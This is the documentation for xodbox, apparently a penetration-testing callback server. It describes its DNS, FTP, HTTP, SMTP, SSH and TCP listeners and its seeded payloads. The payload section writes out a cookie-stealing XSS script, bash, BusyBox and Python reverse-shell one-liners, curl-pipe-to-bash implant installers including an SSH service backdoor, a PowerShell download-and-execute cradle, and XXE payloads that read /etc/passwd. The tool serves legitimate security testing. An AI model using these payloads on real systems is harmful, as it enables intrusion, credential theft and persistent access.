This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

Handlers

Interaction handlers

Handlers are services that listen on ports and respond to requests.

1 - DNS

DNS Handler

Purpose

A DNS UDP listener that records every query it receives and answers each one with a single A record. Useful for confirming out-of-band DNS resolution from an application under test (e.g. SSRF, XXE, log4shell flavoured probes).

Behaviour

  • Listens on UDP at the configured listener address.
  • For each incoming query, dispatches an InteractionEvent whose Details() reports the first non-empty question name.
  • Replies with an A record pointing every name to default_ip, regardless of the requested type. Non-A queries still receive the forged A reply.
  • A future enhancement may store per-name records in the database; today the handler is intentionally a single-answer reflector.

Configuration

KeyRequiredDefaultNotes
handleryesMust be DNS.
listeneryesBind address, e.g. :53 or 0.0.0.0:5353. Requires CAP_NET_BIND_SERVICE for port 53.
default_ipyesIPv4 string returned as the A record for every query. Invalid values yield empty responses.

Operational notes

  • The handler responds to every query, including ANY/AAAA/MX. Use a filter at the notifier layer if you only care about specific names.
  • Stop() shuts the underlying *dns.Server down with the supplied context as the drain deadline.

2 - FTP

FTP Handler

Purpose

An FTP listener that presents a fake directory tree to clients. Useful for confirming out-of-band FTP fetches, picking up credential probes, and observing what scanners look for. List/read/auth interactions are emitted as InteractionEvents; no real files are served.

Behaviour

  • Backed by fclairamb/ftpserverlib.
  • Filesystem is an in-memory afero MemMapFs seeded with the directory paths listed in fake_dir_tree. Operators can probe the tree but cannot write durable state.
  • Plaintext authentication is allowed; reads/writes/lists emit fine-grained action events (AuthSuccess, AuthFail, ListFiles, FileOpen, FileRead, FileWrite, FileReadDir, FileDelete).
  • The bundled SimpleServerDriver.AuthUser rejects every login unless Credentials has been populated programmatically. The current YAML schema does not expose Credentials; the default behaviour is therefore “log the attempt and refuse”.

Configuration

KeyRequiredDefaultNotes
handleryesMust be FTP.
listeneryesBind address, e.g. :21 or :2121 for unprivileged ports.
server_namenoFTP ServerBanner returned to clients in the 220 greeting.
fake_dir_treenotest/old/fake,test/new/fakeComma-separated paths created on the in-memory fs at startup.

Events

ActionTrigger
AuthSuccessA USER/PASS pair matched a configured credential.
AuthFailAuthentication was rejected.
LogoutClient disconnected after auth.
ListFilesClient issued LIST/NLST.
FileOpenClient opened a file (RETR/STOR).
FileReadBytes read from a file.
FileWriteBytes written to a file.
FileReadDirDirectory enumeration.
FileDeleteDELE command.

Operational notes

  • Plaintext credentials submitted to this handler should be considered compromised; do not run it where users might accidentally type real passwords into it.
  • Stop() calls the underlying FtpServer.Stop() (no context deadline; ftpserverlib does not accept one).

3 - HTTPX

HTTPX Handler

Purpose

The primary HTTP/HTTPS listener. It serves user-defined payloads keyed by URL pattern, hosts static assets, exposes a private JSON API, and can transparently provision Let’s Encrypt certificates via ACME-DNS-01. Every request produces an InteractionEvent so out-of-band HTTP reach-out from an application under test can be asserted against expected paths and headers.

Behaviour

  • HTTP serves the bundled payload database (see payload_db_seed.go for the seeded set). Additional payloads can be loaded from a watched directory via payload_dir; changes are picked up via fsnotify and debounced into the database.
  • HTTPS mode activates when tls_names is set; certmagic provisions certificates via ACME-DNS-01 against the configured dns_provider. Without dns_provider, HTTPS will fall back to HTTP-01 / TLS-ALPN challenges, which require port 80/443 reachability from the internet.
  • Bot suppression: clients that exceed 30 requests in any one-minute bucket are marked as bots (model.IsBot) and have their subsequent events suppressed from notifier delivery. The bot threshold is not configurable today.
  • The private API (mounted at api_path) requires the header Authorization: Token <api_token> on every request. An empty api_token rejects all callers.
  • Embedded static assets ship at /ixdbxi/.

Configuration

General

KeyRequiredDefaultNotes
handleryesMust be HTTPX.
listeneryesBind address, e.g. :80 or :8080.
static_dirnoDirectory served at /static/. Created on first start with mode 0750 if missing.
payload_dirnoDirectory of *.md payload definitions. Watched at runtime; updates are upserted.
api_pathnoURL path prefix to mount the JSON API on, e.g. /api. Normalised to leading/trailing slash.
api_tokennoBearer-style token required by the /private/* API routes.

TLS / ACME

KeyRequiredDefaultNotes
tls_namesnoComma-separated hostnames. Setting any value enables HTTPS via certmagic.
acme_emailnoACME account contact address.
acme_acceptnofalseMust be the literal string "true" to accept the ACME provider’s terms of service.
acme_urlnoACME directory URL. Defaults to Let’s Encrypt production; use the staging URL for testing.
dns_providernoOne of namecheap or route53. Required for the DNS-01 challenge path.
dns_provider_api_usernoAPI user (namecheap only).
dns_provider_api_keynoAPI key (namecheap only).

MDaaS (Malicious Daemon as a Service) cross-compile

These keys are baked into binaries served from the /build/<os>/<arch>/<program> route. Only useful when payloads request a build.

KeyRequiredDefaultNotes
mdaas_log_levelnoOne of NONE, INFO, WARN, ERROR, DEBUG.
mdaas_bind_listenernoListener address baked into the built MDaaS binary.
mdaas_allowed_cidrnoCIDR allowed to connect to the built MDaaS binary at runtime.
mdaas_notify_urlnoWebhook URL the built binary calls back to.

Filters

The entire HTTP request (request line + headers + body) is fed to the notifier filter regexps. To alert on a specific prefix:

filter: "(GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /myPrefix"

This would match:

  • https://test.example/myPrefixexample
  • https://test.example/myPrefix/example
  • https://test.example/myPrefix/asdasd/asdasd/asd/as/d

And would not match:

  • https://test.example/robots.txt
  • https://test.example/asd/myPrefix/example

Operational notes

  • Stop(ctx) shuts down whichever server pair Start booted: in HTTP mode, the single *http.Server; in HTTPS mode, both the ACME HTTP-01 challenge listener on :80 and the TLS listener on :443. The payload-directory watcher goroutine (if payload_dir was set) is also cancelled. ctx bounds how long in-flight requests have to drain.
  • Sensitive operator keys (api_token, dns_provider_api_key) end up in the xodbox config file. Restrict that file’s permissions to 0600 and the running user.

Backlog

New features

  • Let’s Encrypt Auto Cert
  • Exfil data saver

Legacy functionality to be implemented

  • robots.txt
  • unfurly
  • arbitrary json
    • b64
  • redirect
    • b64
  • basic auth
  • breakfastbot
  • allow origin *

Legacy functionality that isn’t specific to a handler

  • alert pattern with payload
  • alert pattern (alert patterns are part of notifiers, maybe we need to expose alert patterns based on handler type)
  • slack hook (this is now a notifier)

3.1 - Default Payloads Seeds

seed data

Default payloads that come with xodbox.

3.1.1 - Default Header

Adds the default header to all HTTP responses.

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

Server: BreakfastBot/1.0.0

3.1.2 - Redirect

HTTP Redirects

HTTP Redirects to the query parameter l using the query param s as the status code.

WhatDescriptionGET Parameters
LocationLocation to redirect tol
StatusHTTP status codes

Example Request

curl -i "http://xodbox.test/redir?l=https://github.com/defektive/xodbox&s=301"

Example Response

Location: https://github.com/defektive/xodbox

3.1.3 - Remote Address Reflector

A restrictive robots.txt

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/ip

Example Response

10.1.2.3

3.1.4 - Robots TXT

A restrictive robots.txt

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/robots.txt

Example Response

User-Agent: *
Disallow: /

3.1.5 - Build MDaaS

Build random binaries

3.1.6 - Inspect

Reflect back HTTP requests in various formats

Depends on an internal code

/inspect

Inspect or reflect the request back in various formats.

  • Plain Text (default, .txt)
  • HTML (.html, .html)
  • GIF (.gif)
  • JPEG (.jpg)
  • PNG (.png)
  • MP4 (.mp4)
  • XML (.xml)
  • JSON (.json)
  • Javascript (.js)

Examples

  • http://localhost/inspect
  • http://localhost/some/random/path/inspect.gif

3.1.7 - XSS HTML

Returns HTML that embeds xss-js

/jsc.html

Simple HTML to load simple JS Payload.

3.1.8 - XSS JavaScript

Returns JS that embeds an image back to xodbox

/jsc

Simple JS Payload. Useful form embedding or quickly copying and modifying for an XSS payload to prove execution and exfil.

(function (){
    var s = document.createElement("img");
    document.body.appendChild(s);
    s.src="//{{.Request.Host}}/{{ .NotifyString}}/jscb?src="+window.location+"&c="+document.cookie;
})()

3.1.9 - Default Favicon

Redirects to the default logo.

Redirects to the embedded default logo, exposed via embedded fs.

Example Request

curl -i http://xodbox.test/favicon.ico

3.1.10 - Bash Reverse Shell

BusyBox Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/bash?h=10.10.10.10&p=9090"

Example Response

bash -i >& /dev/tcp/127.0.0.1/9091 0>&1
0<&196;exec 196<>/dev/tcp/127.0.0.1/9091 ; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/127.0.0.1/9091 0<&1 2>&1

3.1.11 - Bind Shell

Requires bind-shell in static dir

Build a bind shell implant for the specific platform and execute it.

Example Request

curl xodbox/bind.sh|bash

3.1.12 - BusyBox Reverse Shell

BusyBox Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/bb?h=10.10.10.10&p=9090"

Example Response

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1111 >/tmp/f

3.1.13 - Detect platform

detect platform

Example Request

curl -i "http://xodbox.test/detect.sh"

This will curl the notification url with the detected values in the path.

3.1.14 - HTML IFrame With Request Params

Returns an HTML page with an iframe src to f query parameter

/ht

attempts to get whatever files is supplied via the f query parameter

3.1.15 - Open Graph

Embed request params in open graph elements.

Useful for unfurlers. Maybe we should merge this into inspect…

Example Request

curl -i "http://xodbox.test/unfurl"

Example Response

Location: https://github.com/defektive/xodbox

3.1.16 - Python Reverse Shell

Python Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/python?h=10.10.10.10&p=9090"

Example Response

import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",9091));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")

3.1.17 - Reverse Shell

Requires bind-shell in static dir

Build a reverse shell implant for the specific platform and execute it.

Example Request

curl xodbox/reverse.sh|bash

3.1.18 - Simple SSH

Simple SSH (requires build of simple ssh server in static dir)

Build an SSH server implant for the specific platform and execute it.

Example Request

curl xodbox/ssh.sh|bash

3.1.19 - Simple SSH Service

Simple SSH Service (requires build of simple ssh server in static dir)

Build an SSH server implant for the specific platform and install it as a service, then start the service.

Example Request

curl xodbox/ssh.sh|bash

3.1.20 - XSS Image Template

A text template for quickly embedding js execution hooks into pages the image tags

3.1.21 - XXE Callback

More XXE

XXE Callback used by xxe-system

3.1.22 - XXE DTD

More XXE

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

/evil.dtd

dtd for use by others

3.1.23 - XXE SVG Hostname

Returns an SVG payload with XXE to get files

/sh

attempts to get /etc/hostname

SVG with XXE payloads

3.1.24 - XXE SVG Passwd

Returns an SVG payload with XXE to get files

/sp

attempts to get /etc/passwd

3.1.25 - XXE SVG Request Params

Returns an SVG payload with XXE to get files

/sv

attempts to get whatever files is supplied via the f query parameter

3.1.26 - XXE System

More XXE

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

3.1.27 - Default Page

returns a simple page if nothing is matched

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

hi

3.1.28 - In Development Seeds

These seeds are not ready for production and may never be.

Seeds that are not tested or finished.

3.1.28.1 - Bind shell powershell

Requires bind-shell in static dir
iex ((New-Object System.Net.WebClient).DownloadString('http://xobox/bind.ps1'))

3.1.28.2 - Pipe Process List to Notifier

Simple script to pipe ps to the notification URL

Example Request

curl xodbox/pipe.sh|bash

3.1.28.3 - WPAD

Returns a WPAD config file (Javascript).

WPAD Proxy. Not really useful at the moment. Should be more useful in the future

3.2 - Example Payloads

Examples

Default payloads that come with xodbox.

3.2.1 - List Payloads

List payloads

List Payloads

---
title: List Payloads
description: List payloads
weight: 1
pattern: /i-forgot-how-things-work$
is_final: true
data:
  headers:
    Content-Type: text/plain
  body: |
    Payloads
    
    {{ range .Payloads }}
    {{ .Pattern }} - {{ .Name }} [{{ .Type }}]
    {{ .Description }}
    
    {{ end }}    
---

4 - SMTP

SMTP Handler

Purpose

An SMTP listener that accepts (and then discards) mail to confirm out-of-band email delivery from an application under test. Every SMTP verb produces a separate InteractionEvent so MAIL FROM, RCPT TO, DATA, RSET, AUTH PLAIN, and QUIT all show up in the dispatch stream.

Behaviour

  • Backed by emersion/go-smtp.
  • AllowInsecureAuth = true — plaintext AUTH PLAIN is accepted on the cleartext socket; every attempt is recorded as a PasswordAuth event. Do not point clients carrying real credentials at this handler.
  • A self-signed certificate is generated on startup for STARTTLS, with a randomised 128-bit serial and the SAN test.com. The certificate is intentionally untrusted (see SECURITY.md) — clients that accept it are the bug.
  • The DATA body is read but discarded; only the action is dispatched.

Configuration

KeyRequiredDefaultNotes
handleryesMust be SMTP.
listeneryesBind address, e.g. :25, :587, or :1587 for unprivileged operation.

Events

ActionTrigger
PasswordAuthClient issued AUTH PLAIN.
MailClient issued MAIL FROM.
RcptClient issued RCPT TO.
DataClient started DATA (body ignored).
ResetClient issued RSET.
LogoutSession ended (QUIT or connection close).

Operational notes

  • Stop(ctx) calls smtp.Server.Shutdown(ctx); in-flight sessions get the context’s deadline to drain.
  • The handler’s Debug field is currently wired to os.Stdout — every SMTP exchange is echoed there in addition to being dispatched.

5 - SSH

SSH Handler

Purpose

An SSH listener that records every authentication attempt and then rejects it. Useful for credential-stuffing telemetry and for confirming out-of-band SSH reach-out from an application under test.

Behaviour

  • Backed by gliderlabs/ssh.
  • Both password and public-key auth callbacks dispatch an InteractionEvent (PasswordAuth / KeyAuth) carrying the attempting username and remote address. Both callbacks then return false, so no session is ever established.
  • If a session were to open (it does not, by design), it would write "This account is currently not available\n" and close.
  • A fresh host key is generated on first startup. The handler does not currently expose host-key configuration.

Configuration

KeyRequiredDefaultNotes
handleryesMust be SSH.
listenerno:22Bind address. Use :2222 to avoid CAP_NET_BIND_SERVICE.

Events

ActionTrigger
PasswordAuthClient offered username:password. Submitted password is logged at debug.
KeyAuthClient offered a public key. Key type is logged at debug.

Operational notes

  • Every credential attempt that lands here is logged. Plaintext passwords reaching the handler should be treated as compromised.
  • Stop(ctx) calls ssh.Server.Shutdown(ctx).

6 - TCP

TCP Handler

Purpose

A raw TCP listener that accepts every connection, reads anything the client sends, and emits an event per chunk. Useful for confirming out-of-band TCP reach-out from an application under test where the client doesn’t speak a recognised application protocol.

Behaviour

  • Listens on tcp4 at the configured listener address.
  • One Connect event per accepted connection.
  • One DataRecv event per read() call from the client, carrying the bytes that were actually read in RawData (Data()). Chunks are copied before dispatch — slices are safe to retain across the channel.
  • One Disconnect event when the read loop exits (EOF, peer reset, read error, or Stop()).
  • The handler never writes back to the client.

Configuration

KeyRequiredDefaultNotes
handleryesMust be TCP.
listeneryesBind address, e.g. 127.0.0.1:9090. IPv6-only binds are not currently supported.

Events

ActionTriggerData payload
ConnectAccepted a new connection.none
DataRecvBytes received from the client.the chunk just read
DisconnectRead loop exited (EOF, error, or Stop).none

Operational notes

  • The accept loop returns from Start() cleanly when Stop() closes the listener. In-flight handleConn goroutines drain naturally as their peers close.
  • Stop(ctx) ignores the context’s deadline — closing the listener is immediate.